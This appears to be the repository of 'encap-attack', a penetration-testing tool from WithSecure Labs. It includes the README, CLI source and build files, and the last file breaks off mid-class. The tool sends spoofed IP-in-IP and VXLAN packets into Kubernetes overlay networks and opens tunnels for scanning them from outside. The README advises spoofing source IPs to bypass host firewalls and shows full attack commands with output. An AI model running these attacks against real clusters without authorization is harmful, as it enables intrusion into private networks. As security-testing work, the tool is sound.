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# This workflow will upload a Python Package using Twine when a release is created
# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python#publishing-to-package-registries
# This workflow uses actions that are not certified by GitHub.
# They are provided by a third-party and are governed by
# separate terms of service, privacy policy, and support
# documentation.
name: Upload Python Package
on: push
permissions:
contents: read
jobs:
build:
name: Build distribution
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.x'
- name: Install pypa/build
run: python3 -m pip install build --user
- name: Build a binary wheel and a source tarball
run: python3 -m build
- name: Store the distribution packages
uses: actions/upload-artifact@v4
with:
name: python-package-distributions
path: dist/
publish-to-pypi:
name: Publish Python distribution to PyPI
if: startsWith(github.ref, 'refs/tags/') # only publish to PyPI on tag pushes
needs:
- build
runs-on: ubuntu-latest
environment:
name: pypi
url: https://pypi.org/p/encap-attack
permissions:
id-token: write
steps:
- name: Download all the dists
uses: actions/download-artifact@v4
with:
name: python-package-distributions
path: dist/
- name: Publish distribution to PyPI
uses: pypa/gh-action-pypi-publish@release/v1
github-release:
name: Sign the Python distribution with Sigstore and upload to GitHub Releases
needs:
- publish-to-pypi
runs-on: ubuntu-latest
permissions:
contents: write
id-token: write
steps:
- name: Download all the dists
uses: actions/download-artifact@v4
with:
name: python-package-distributions
path: dist/
- name: Sign the dists with Sigstore
uses: sigstore/gh-action-sigstore-python@v3.0.0
with:
inputs: >-
./dist/*.tar.gz
./dist/*.whl
- name: Create GitHub Release
env:
GITHUB_TOKEN: ${{ github.token }}
run: >-
gh release create
'${{ github.ref_name }}'
--repo '${{ github.repository }}'
--notes ""
- name: Upload artifact signatures to GitHub Release
env:
GITHUB_TOKEN: ${{ github.token }}
# Upload to GitHub Release using the `gh` CLI.
# `dist/` contains the built packages, and the
# sigstore-produced signatures and certificates.
run: >-
gh release upload
'${{ github.ref_name }}' dist/**
--repo '${{ github.repository }}'

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# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/latest/usage/project/#working-with-version-control
.pdm.toml
.pdm-python
.pdm-build/
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/

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# Encap-Attack: Encapsulated Network Attacks
Sniff and attack networks that use IP-in-IP or VXLAN encapsulation protocols.
## Requirements
- Python
- `ip`
- `iptables`
## Installation
```shell
pip3 install encap-attack
encap-attack --help
```
### Development installation
```shell
git clone https://github.com/WithSecureLabs/encap-attack.git
cd encap-attack
python3 -m venv venv
sudo su
source venv/bin/activate
pip3 install .
encap-attack --help
```
## Usage
Here are some basic usage examples of the tool. More options are available for each command and subcommand, documented by the `--help` options. For example, `encap-attack vxlan --help` or `encap-attack vxlan tunnel --help`.
All commands can be run in verbose mode using the `-v` flag after `encap-attack`. For example, `encap-attack -v detect`.
### Sniffing encapsulated network traffic - `detect`
The tool can listen for encapsulated traffic on the network, and extract information about the encapsulation being used. This will only return information if encapsulated traffic is detected, or if running in verbose mode. To sniff traffic, run:
```shell
encap-attack detect
```
### Obtain information about a Kubernetes cluster - `kubeintel`
Kubernetes intelligence functionality uses the `kubeintel` subcommand.
To extract a predicted service IP range and CoreDNS address, and optionally attempt to connect to it using IP-in-IP, two commands exist: `kubeintel guess-cidr` and `kubeintel attempt-ipip`.
To guess the service CIDR:
```shell
encap-attack kubeintel guess-cidr <api_server_address>
```
To guess the service CIDR and attempt to connect to CoreDNS using IP-in-IP, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag:
```shell
encap-attack kubeintel attempt-ipip -a <api_server_address> -s <another_host_ip>
```
Example:
```shell
encap-attack kubeintel attempt-ipip -a 192.168.124.9 -s 192.168.124.11
```
The tool will also provide `kubectl` commands to extract pod/service IP ranges and VXLAN network information from a Kubernetes cluster, with `encap-attack kubeintel get-ip-ranges` and `encap-attack kubeintel get-net-info`, respectively. The `kubectl` commands provided will output the information needed to simulate encapsulated packets to the overlay network.
### Attack an IP-in-IP network - `ipip`
IP-in-IP functionality uses the `ipip` subcommand.
You must ensure the intermediary destination node (`-d` flag) is that on which the target pods reside. If the pods run on a different node, you will receive no response.
To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag:
```shell
encap-attack ipip -d <destination_host_ip> -s <another_host_ip> request -di <internal_destination_ip> dns -t <query_type> <domain_to_query>
```
Example:
```
# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Sending DNS packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Response:
kube-dns.kube-system.svc.cluster.local: 10.96.0.10
```
For an HTTP request:
```shell
encap-attack ipip -d <destination_host_ip> -s <another_host_ip> request -di <internal_destination_ip> http "<request>"
```
Example:
```
# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost: 10.100.99.5"
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Sending SYN: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending ACK PUSH: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending FIN ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Response:
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 23 Aug 2024 10:35:13 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT
Connection: keep-alive
ETag: "66ba1a4d-267"
Accept-Ranges: bytes
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>
```
Alternatively, a tunnel can be configured to route all traffic destined for specific IP ranges into the encapsulated network. The `-a` flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per `kubeintel guess-cidr` above) - and this route will automatically be added to the tunnel. Additional routes can be added with the `-r` flag. Use Ctrl+C to shut down the tunnel.
```shell
encap-attack -d <destination_host_ip> -s <another_host_ip> tunnel -a <api_server_address> -r <route_cidr>
```
Example:
```
# encap-attack -d 192.168.124.10 -s 192.168.124.11 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Kubernetes API server certificate information:
Subject: kube-apiserver
Issuer: kubernetes
IPs: 10.96.0.1, 192.168.124.9
Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master
Guessed service CIDR: 10.96.0.0/12
kube-dns DNS server may be available at: 10.96.0.10:53
Cluster DNS suffix: cluster.local
Starting tunnel tun0, press Ctrl+C to stop...
Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Sending encapsulated packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
```
All requests to the defined routes (in this example, `10.2.0.0/16`, `10.3.0.0/16`, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the use of other tooling (e.g., `nmap`) within the overlay network from an external perspective:
```shell
nmap -sT 10.2.0.0/16
```
### Attack a VXLAN network - `vxlan`
VXLAN functionality uses the `vxlan` subcommand.
The functionality for VXLAN networks is identical to that provided for IP-in-IP networks with the `ipip` command, but requires the additional information needed by the VXLAN protocol, as discussed above. Similar to IP-in-IP, you must ensure the correct destination host/node is used, or you will receive no response.
To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the `-s` flag:
```shell
encap-attack vxlan -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> request -di <internal_destination_ip> dns -t <query_type> <domain_to_query>
```
Example:
```
# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 -mi aa:bb:cc:dd:ee:ff --vni 4096 -pd 4789 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local
Running in VXLAN mode
Interface IP: 192.168.124.200
Sending DNS packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Response:
kube-dns.kube-system.svc.cluster.local: 10.96.0.10
```
For an HTTP request:
```shell
encap-attack ipip -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> request -di <internal_destination_ip> http "<request>"
```
Example:
```
# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 -pd 4789 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost:10.100.99.5"
Running in VXLAN mode
Interface IP: 192.168.124.200
Sending SYN: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending ACK PUSH: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending FIN ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Response:
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 23 Aug 2024 10:35:13 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT
Connection: keep-alive
ETag: "66ba1a4d-267"
Accept-Ranges: bytes
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>
```
The `vxlan` subcommand also provides a tunnel option, similar to the `ipip` subcommand, with the same functionality. As a reminder, this routes all traffic destined for specific IP ranges into the encapsulated network. The `-a` flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per `kubeintel guess-cidr` above) - and this route will automatically be added to the tunnel. Additional routes can be added with the `-r` flag. Use Ctrl+C to shut down the tunnel.
```shell
encap-attack -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> tunnel -a <api_server_address> -r <route_cidr>
```
Example:
```
# encap-attack -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 --pd 4789 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16
Running in VXLAN mode
Interface IP: 192.168.124.200
Kubernetes API server certificate information:
Subject: kube-apiserver
Issuer: kubernetes
IPs: 10.96.0.1, 192.168.124.9
Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master
Guessed service CIDR: 10.96.0.0/12
kube-dns DNS server may be available at: 10.96.0.10:53
Cluster DNS suffix: cluster.local
Starting tunnel tun0, press Ctrl+C to stop...
Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Sending encapsulated packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
```
All requests to the defined routes (in this example, `10.2.0.0/16`, `10.3.0.0/16`, and the service IP range guessed from information from the API server - `10.96.0.0/12`) will then be encapsulated and routed into the overlay network. This permits the usage of other tooling (e.g., `nmap`) within the overlay network from an external perspective:
```shell
nmap -sT 10.2.0.0/16
```
# Acknowledgements
This tool was initially developed by [Matthew Grove](https://github.com/mgrove36) at WithSecure Consulting.
It was inspired by research conducted by [Rory McCune](https://raesene.github.io/blog/2021/01/03/Kubernetes-is-a-router/) and [James Cleverley-Prance](https://www.youtube.com/watch?v=7iwnwbbmxqQ).

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pyproject.toml Normal file
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[build-system]
requires = ["setuptools"]
build-backend = "setuptools.build_meta"
[project]
name = "encap-attack"
version = "1.0.0"
license = {file = "LICENSE"}
description = "Network sniffing and attacks using IP-in-IP and VXLAN"
requires-python = ">= 3.7"
classifiers = [
"Programming Language :: Python :: 3.8",
"Operating System :: OS Independent",
]
dependencies = [
"cffi",
"click",
"cryptography",
"getmac",
"ipaddress",
"packaging",
"pycparser",
"pyOpenSSL",
"pyproject_hooks",
"scapy",
]
authors = [
{name = "Matthew Grove", email = "me@mgrove.uk"},
{name = "Matthew Grove", email = "matthew.grove@withsecure.com"}
]
readme = "README.md"
[project.scripts]
encap-attack = "encap_attack.tool:cli"
[project.urls]
Homepage = "https://github.com/WithSecureLabs/encap-attack"
Repository = "https://github.com/WithSecureLabs/encap-attack"

0
src/encap_attack/__init__.py Normal file
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src/encap_attack/tool.py Normal file
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import warnings
from cryptography.utils import CryptographyDeprecationWarning
warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning)
import click
from encap_attack.utils.encapsulation_models import *
from encap_attack.utils.util_models import *
from typing import Optional
@click.group(context_settings={'max_content_width': 99999})
@click.option("-i", "--iface", type=str, help="Network interface to use", default=None)
@click.option("--ip", type=str, help="Interface IP address", default=None)
@click.option("--verbose/--no-verbose", "-v", type=bool, help="Verbose mode enabled", default=False)
@click.pass_context
def cli(ctx, iface: Optional[str], ip: Optional[str], verbose: bool) -> None:
"""A CLI tool to facilitate communication and tunneling into overlay networks, in particular for penetration testing."""
ctx.ensure_object(dict)
if iface:
click.echo(f"Forcing interface: {iface}\n")
ctx.obj["iface"] = iface
ctx.obj["iface_ip"] = ip
ctx.obj["verbose"] = verbose
if (verbose):
click.echo("Verbose mode is on")
@cli.command()
@click.option("-t", "--timeout", type=int, help="Sniff timeout in seconds [DEFAULT: None]", default=None)
@click.pass_context
def detect(ctx, timeout: Optional[int]) -> None:
"""Sniff network traffic to identify encapsulated packets."""
detectEncap(ctx.obj["iface"], timeout, ctx.obj["verbose"])
@cli.group()
def kubeintel():
"""Gain information about a Kubernetes cluster for use in future network encapsulation attacks."""
@kubeintel.command("attempt-ipip")
@click.option("-a", "--api-server", type=str, help="API server IP address or hostname", required=True)
@click.option("-p", "--api-server-port", type=int, help="API server port [DEFAULT: 6443]", default=6443)
@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node [DEFAULT: API server address]", default=None)
@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None)
@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None)
@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None)
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53)
@click.pass_context
def attempt_ipip(ctx, api_server: str, api_server_port: int, intermediary_dst_ip: Optional[str], spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str], src_port: Optional[int], dst_port: int) -> None:
"""Guess DNS server address based on Kubernetes API server certificate contents, and attempt to connect to it using IP-in-IP"""
if (not intermediary_dst_ip): intermediary_dst_ip = api_server
try:
dns_suffix, _, dns_ip = guessRoutes(api_server, api_server_port)
if (not dns_ip):
raise ValueError("Unable to guess DNS server IP. Is the intermediary destination IP correct?")
model = IPIPEncapsulationModel(intermediary_dst_ip, spoofed_src_ip, spoofed_src_mac, ctx.obj["iface"], ctx.obj["iface_ip"], ctx.obj["verbose"])
results = model.sendDNS(dns_ip, "kube-dns.kube-system.svc." + dns_suffix, "A", dst_port=dst_port, src_port=src_port)
if len(results.items()) == 0:
raise ValueError("Unable to connect to DNS server using IP-in-IP. Try a different intermediary destination IP (another node), a different source IP, or VXLAN?")
click.secho("\nConnected to DNS server with IP-in-IP", fg="green", bold=True)
except ValueError as e:
click.secho(f"\n{e}", fg="red", bold=True)
@kubeintel.command("get-ip-ranges")
def get_ip_ranges() -> None:
"""List commands to obtain pod/service IP ranges from kubectl, via the kube-apiserver."""
click.echo()
click.echo("To obtain pod/service IP ranges for a cluster, run the following command(s).")
click.echo("- Pod CIDR:")
click.secho(" kubectl cluster-info dump | grep -m 1 cluster-cidr | awk -F= '{print$2}' | awk -F\\\" '{print $1}'", fg="cyan", bold=True)
click.echo("- Service CIDR:")
click.secho(" kubectl cluster-info dump | grep -m 1 service-cluster-ip-range | awk -F= '{print$2}' | awk -F\\\" '{print $1}'", fg="cyan", bold=True)
click.echo()
@kubeintel.command("get-net-info")
@click.option("-c", "--cni", type=click.Choice(["calico", "flannel"]), help="CNI")
def get_net_info(cni: Optional[str]) -> None:
"""List commands to obtain VTEPs and VNIs from different Kubernetes CNIs, via the kube-apiserver."""
click.echo()
click.echo("To obtain network info (VNIs and VTEPs - internal destination MAC addresses) for a cluster, run the following command(s).")
if (cni == "calico" or cni == None):
cmd_vtep = "kubectl get node -o jsonpath='{range .items[*]}{.metadata.name}{\"\\t\"}{.spec.vxlanTunnelMACAddr}{\"\\n\"}{end}'"
click.echo("- Calico VTEP:")
click.secho(f" {cmd_vtep}", fg="cyan", bold=True)
click.echo("- Calico VNI:")
cmd_vni = "kubectl get felixconfiguration -o jsonpath='{.items[0].spec.vxlanVNI}'"
click.secho(f" {cmd_vni}", fg="cyan", bold=True)
if (cni == "flannel" or cni == None):
cmd = "kubectl get node -o jsonpath='{range .items[*]}{.metadata.name}{\"\\t\"}{.metadata.annotations.flannel\.alpha\.coreos\.com/public-ip}{\"\\t\"}{.metadata.annotations.flannel\.alpha\.coreos\.com/backend-data}{\"\\n\"}{end}'"
click.echo("- Flannel VTEP & VNI:")
click.secho(f" {cmd}", fg="cyan", bold=True)
click.echo()
@kubeintel.command("guess-cidr")
@click.option("-p", "--api-server-port", type=int, help="API server port [DEFAULT: 6443]", default=6443)
@click.argument("api_server")
def guess_cidr(api_server_port: int, api_server: str) -> None:
"""Guess the Kubernetes service IP range based on the certificate from the API server at API_SERVER."""
click.echo()
guessRoutes(api_server, api_server_port)
click.echo()
@cli.group()
@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node", required=True)
@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None)
@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None)
@click.pass_context
def ipip(ctx, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str]) -> None:
"""Suite of IP-in-IP functionality."""
click.echo("Running in IP-in-IP mode\n")
ctx.ensure_object(dict)
ctx.obj["intermediary_dst_ip"] = intermediary_dst_ip
ctx.obj["spoofed_src_ip"] = spoofed_src_ip
ctx.obj["spoofed_src_mac"] = spoofed_src_mac
ctx.obj["model"] = IPIPEncapsulationModel(ctx.obj["intermediary_dst_ip"], ctx.obj["spoofed_src_ip"], ctx.obj["spoofed_src_mac"], ctx.obj["iface"], ctx.obj["iface_ip"], verbose=ctx.obj["verbose"])
@ipip.group("request")
@click.option("-di", "--dst-ip", type=str, help="Internal destination IP - for Kubernetes, use pod/service IP", required=True)
@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None)
@click.pass_context
def ipip_request(ctx, dst_ip: str, src_port: Optional[int]) -> None:
"""Send an IP-in-IP encapsulated request."""
ctx.ensure_object(dict)
ctx.obj["dst_ip"] = dst_ip
ctx.obj["src_port"] = src_port
@ipip_request.command("http")
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 80]", default=80)
@click.argument("http_request")
@click.pass_context
def ipip_http(ctx, dst_port: int, http_request: str) -> None:
"""Send an HTTP request, HTTP_REQUEST, to a client at port DST_PORT."""
ctx.obj["model"].sendHTTP(http_request, ctx.obj["dst_ip"], dst_port=dst_port, src_port=ctx.obj["src_port"])
@ipip_request.command("dns")
@click.option("-t", "--query-type", type=click.Choice(["SRV", "A", "AAAA", "CNAME"]), help="DNS record query type", required=True)
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53)
@click.argument("query_name")
@click.pass_context
def ipip_dns(ctx, query_type: str, dst_port: int, query_name: str) -> None:
"""Send a DNS request, QUERY_NAME, of type QUERY_NAME."""
ctx.obj["model"].sendDNS(ctx.obj["dst_ip"], query_name, query_type, dst_port=dst_port, src_port=ctx.obj["src_port"])
@ipip.command("tunnel")
@click.option("-r", "--route", type=str, help="Route to add via tunnel - multiple allowed", multiple=True)
@click.option("-g", "--direct-routing-gateway", type=str, help="Local tunnel gateway IP address to enable routing directly into tunnel interface")
@click.option("-a", "--kube-api-server", type=str, help="Kubernetes API server IP address or hostname - if provided, will attempt to guess Kubernetes service IP range and add it as a route")
@click.option("-p", "--kube-api-server-port", type=int, help="Kubernetes API server port [DEFAULT: 6443]", default=6443)
@click.pass_context
def ipip_tunnel(ctx, route: list[str], direct_routing_gateway: Optional[str], kube_api_server: Optional[str], kube_api_server_port: int) -> None:
"""Open IP-in-IP tunnel via INTERMEDIARY_DESTINATION for each ROUTE."""
if (kube_api_server):
click.echo()
route = list(route)
route.extend(guessRoutes(kube_api_server, kube_api_server_port)[1])
click.echo()
tunnel_meta = TunnelMeta(route, direct_routing_gateway)
ctx.obj["model"].runTunnel(tunnel_meta)
@cli.group()
@click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node", required=True)
@click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None)
@click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None)
@click.option("-mi", "--inner-dst-mac", type=str, help="Inner destination MAC address (VTEP) - for Kubernetes, use the VTEP of the destination node", required=True)
@click.option("--vni", type=int, help="VXLAN VNI - use 4096 for Calico, 1 for Flannel [DEFAULT: 4096]", default=4096)
@click.option("-ps", "--vxlan-src-port", type=int, help="VXLAN packet source port [DEFAULT: random port 1000-65000]", default=None)
@click.option("-pd", "--vxlan-dst-port", type=int, help="VXLAN packet destination port - use 4789 for Calico, 8472 for Flannel [DEFAULT: 4789]", default=4789)
@click.pass_context
def vxlan(ctx, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str], inner_dst_mac: str, vni: int, vxlan_src_port: Optional[int], vxlan_dst_port: int) -> None:
"""Suite of VXLAN functionality."""
click.echo("Running in VXLAN mode\n")
ctx.ensure_object(dict)
ctx.obj["intermediary_dst_ip"] = intermediary_dst_ip
ctx.obj["spoofed_src_ip"] = spoofed_src_ip
ctx.obj["spoofed_src_mac"] = spoofed_src_mac
ctx.obj["vni"] = vni
ctx.obj["vxlan_src_port"] = vxlan_src_port
ctx.obj["vxlan_dst_port"] = vxlan_dst_port
ctx.obj["model"] = VXLANEncapsulationModel(ctx.obj["intermediary_dst_ip"], inner_dst_mac, vni, vxlan_src_port, vxlan_dst_port, ctx.obj["spoofed_src_ip"], ctx.obj["spoofed_src_mac"], ctx.obj["iface"], ctx.obj["iface_ip"], verbose=ctx.obj["verbose"])
@vxlan.group("request")
@click.option("-di", "--dst-ip", type=str, help="Internal destination IP - for Kubernetes, use pod/service IP", required=True)
@click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None)
@click.pass_context
def vxlan_request(ctx, dst_ip: str, src_port: Optional[int]) -> None:
"""Send a VXLAN encapsulated request."""
ctx.ensure_object(dict)
ctx.obj["dst_ip"] = dst_ip
ctx.obj["src_port"] = src_port
@vxlan_request.command("http")
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 80]", default=80)
@click.argument("http_request")
@click.pass_context
def vxlan_http(ctx, dst_port: int, http_request: str) -> None:
"""Send an HTTP request, HTTP_REQUEST, to a client at port DST_PORT."""
ctx.obj["model"].sendHTTP(http_request, ctx.obj["dst_ip"], dst_port=dst_port, src_port=ctx.obj["src_port"])
@vxlan_request.command("dns")
@click.option("-t", "--query-type", type=click.Choice(["SRV", "A", "AAAA", "CNAME"]), help="DNS record query type", required=True)
@click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53)
@click.argument("query_name")
@click.pass_context
def vxlan_dns(ctx, query_type: str, dst_port: int, query_name: str) -> None:
"""Send a DNS request, QUERY_NAME, of type QUERY_NAME."""
ctx.obj["model"].sendDNS(ctx.obj["dst_ip"], query_name, query_type, dst_port=dst_port, src_port=ctx.obj["src_port"])
@vxlan.command("tunnel")
@click.option("-r", "--route", type=str, help="Route to add via tunnel - multiple allowed", multiple=True)
@click.option("-g", "--direct-routing-gateway", type=str, help="Local tunnel gateway IP address to enable routing directly into tunnel interface")
@click.option("-a", "--kube-api-server", type=str, help="Kubernetes API server IP address or hostname - if provided, will attempt to guess Kubernetes service IP range and add it as a route")
@click.option("-p", "--kube-api-server-port", type=int, help="Kubernetes API server port [DEFAULT: 6443]", default=6443)
@click.pass_context
def vxlan_tunnel(ctx, route: tuple[str], direct_routing_gateway: Optional[str], kube_api_server: Optional[str], kube_api_server_port: int) -> None:
"""Open VXLAN tunnel via INTERMEDIARY_DESTINATION for each ROUTE."""
if (kube_api_server):
route = list(route)
click.echo()
_, svc_route, _ = guessRoutes(kube_api_server, kube_api_server_port)
route.extend(svc_route)
click.echo()
tunnel_meta = TunnelMeta(route, direct_routing_gateway)
ctx.obj["model"].runTunnel(tunnel_meta)
if __name__ == "__main__":
cli()

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from abc import ABC, abstractmethod
from scapy.all import *
from random import randint
from getmac import get_mac_address as get_mac
from encap_attack.utils.util_models import *
from encap_attack.utils.utils import *
from time import sleep
import click
from typing import Optional, Union
class EncapsulationModel(ABC):
@abstractmethod
def __init__(self, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None:
"""Initialise an encapsulation model."""
if (iface):
self._iface = iface
self._iface_calculated = False
else:
self._iface = str(conf.iface)
self._iface_calculated = True
if (iface_ip):
self._iface_ip = iface_ip
else:
self._iface_ip = getIfaceIp(self._iface)
click.echo("Interface IP: " + click.style(self._iface_ip, fg="cyan", bold=True))
self._iface_mac = get_mac(self._iface_ip)
self._spoofed_src_ip = spoofed_src_ip
if (spoofed_src_mac):
self._spoofed_src_mac = spoofed_src_mac
else:
self._spoofed_src_mac = get_mac(ip=self._spoofed_src_ip)
self._spoofed_src_mac = get_mac(ip=self._spoofed_src_ip)
self._intermediary_dst_ip = intermediary_dst_ip
self._intermediary_dst_mac = get_mac(ip=self._intermediary_dst_ip)
self._verbose = verbose
@abstractmethod
def _getPacketHeader(self) -> Packet:
"""Get the header frames for a packet."""
pass
def _sendPacket(self, packet, name: str = "", wait: bool = True, newline: bool = True) -> None:
"""Send an Ether packet."""
